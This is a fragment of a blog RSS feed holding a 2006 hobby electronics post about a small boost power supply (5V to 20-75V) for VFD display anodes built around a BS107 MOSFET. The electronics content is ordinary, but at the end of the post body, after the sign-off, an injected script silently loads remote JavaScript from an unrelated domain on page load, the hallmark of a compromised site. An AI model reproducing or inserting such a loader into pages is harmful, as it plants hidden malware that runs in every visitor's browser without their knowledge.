		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Anode power supply for VFD display ( 5v to 80v stepper PSU )</title>
		<link>http://www.larsen-b.com/Article/248.html</link>
		<comments>http://www.larsen-b.com/Article/248.html#comments</comments>
		<pubDate>Tue, 26 Dec 2006 12:57:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[lcd]]></category>
		<category><![CDATA[psu]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[For my next project (another VFD clock ;), I need a small variable PSU. The main issue with the VFD display, is the power supply. In fact you need 2 differents PSU: a 5v / 100mA for the filament a &#8230; <a href="http://www.larsen-b.com/Article/248.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>For my next project (another VFD clock ;), I need a small variable PSU. The main issue with the VFD display, is the power supply. In fact you need 2 differents PSU:</p>
<ul class="simple">
<li>a 5v / 100mA for the filament</li>
<li>a variable 20 to 75v for anodes..</li>
</ul>
<p>VFD tube like the <a class="reference" href="http://www.larsen-b.com/Article/240.html">IV18</a> need something like 20/30 volts in direct drive and 50/70 volts where they are muxed. As I can not use them in a direct drive, I need a psu that support output from 20 to 75v, by this way, I can dim the display easily and test the whole stuff in a direct.</p>
<p>I already have done several nixie PSU, but this time I want to build something small (doesn&#8217;t cost a lot) with really common parts. I decided to look at smaller mosfet, and I found the <a class="reference" href="http://www.datasheetcatalog.com/datasheets_pdf/B/S/1/0/BS107.shtml">BS107</a> .. small TO92 package and 200v ;)</p>
<p>Here the schematic:</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/VFDProjects/vfd_psu_schm.png" alt="http://jkx.larsen-b.com/photos/VFDProjects/vfd_psu_schm.png" /></div>
<p>With this simple stuff, and a little microcontroler, you can step the output easily. You can use a 220uH inductor with a 5v VCC, or a smaller one 100uH if you have a PSU between 6v to 15v.</p>
<p><strong>/Enjoy the next step</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/248.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
